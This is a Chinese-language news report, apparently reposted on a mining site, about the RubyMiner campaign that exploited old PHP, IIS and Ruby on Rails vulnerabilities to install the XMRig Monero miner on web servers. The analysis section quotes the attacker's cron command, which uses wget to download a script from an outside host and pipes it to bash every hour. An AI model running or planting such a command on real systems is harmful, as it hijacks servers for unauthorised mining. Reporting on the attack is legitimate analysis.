门罗币挖矿木马RubyMiner正在攻击全球的 web 服务器 - 挖矿网

上传
点击文件名下载附件

上周，全球 web 服务器遭遇了一场大规模攻击，就在那时 RubyMiner 首次进入大众视野。专家认为，此次攻击背后的主要操控者只有一个人，尽在一天之内就尝试入侵了全球近三分之一的网络。
在过去的24小时内，全球 30％的网络都遭遇了针对 web 服务器的加密货币挖矿攻击。在此期间，该攻击者试图扫描全球网络，从中找到易受攻击的 web 服务器用于挖矿。主要受影响的国家是美国、德国、英国、挪威和瑞典，但全球其他国家也未能幸免。

意大利安全公司 Certego 也注意到 RubyMiner 从 1 月 10 日就开始发起攻击：
从昨天（1月10日）23:00开始，我们的威胁情报平台就已经开始大规模报告关于 ruby http 的利用。令人惊讶的是，黑客大量使用 2012 年和 2013 年发布和修补的旧漏洞，而且似乎并不打算隐藏自己的踪迹，而是打算在最短的时间内感染大量的服务器。攻击者选择利用 HTTP Web 服务器中的多个漏洞，分发开源的 Monero 挖矿程序 XMRig。XMRig 在 2017 年 9 月利用 Microsoft IIS 6.0（Windows Server 2003 R2 中的 Web 服务器）中的漏洞进行攻击。XMRig 通常会向开源代码的作者捐赠 5％的挖矿所得。然而，攻击者可能觉得 5% 也还是太多，因此从代码中删除了“捐赠元素”，将所有利润据为己有。

RubyMiner 影响范围包括 Windows 服务器也包括 Linux 服务器，主要利用 PHP、 Microsoft IIS 和 Ruby on Rails 中的漏洞来部署挖矿软件。Certego 的分析报告显示，恶意程序一直在利用 Ruby on Rails 中一个可造成远程代码执行的古老 CVE（CVE-2013-0156）漏洞。

(, 下载次数: 17)

上传

点击文件名下载附件

PHP 服务器攻击向量

(, 下载次数: 23)

上传

点击文件名下载附件

Ruby on Rails 攻击向量
RubyMiner 的具体攻击过程如下：
攻击者在 POST 请求内发送一个 base64 编码的有效载荷，并诱导解释器执行该有效载荷。这个恶意的有效载荷是一个 bash 脚本，其中添加了一个每小时运行一次的定时任务 cronjob，同时还下载了一个包含 shell 脚本的 robots.txt 文件，用于获取并执行挖矿软件。随后调度程序执行命令，运行整个过程（包括每小时从服务器下载文件）。
cron 是一个基于 UNIX 的调度程序，可以通过自己的语法在固定的时间运行计划好的任务。使用 -r 参数运行 crontab 命令将删除现有 crontab 中的所有现有任务，并允授予矿工全部优先级。

echo “1 * * * * wget -q -O – http://internetresearch.is/robots.txt 2>/dev/null|bash >/dev/null 2>&1″|crontab –
攻击者可以使用”1 * * * *“将新任务注入到干净的 crontab 文件中，进而命令调度器每小时无限运行一分钟。新任务将下载并执行“internetresearch.is”上托管的“robots.txt”文件，进而开始挖掘。

(, 下载次数: 21)